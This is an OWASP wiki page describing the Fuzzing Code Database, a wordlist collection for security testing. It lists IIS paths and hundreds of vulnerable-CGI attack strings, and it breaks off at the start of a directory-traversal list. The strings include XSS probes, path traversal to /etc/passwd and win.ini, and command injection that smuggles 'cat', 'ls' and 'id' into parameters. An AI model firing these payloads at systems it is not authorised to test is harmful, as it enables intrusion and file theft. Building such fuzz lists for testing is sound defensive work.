<p>Adam.muntner: /* Microsoft URLs (18 March 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> 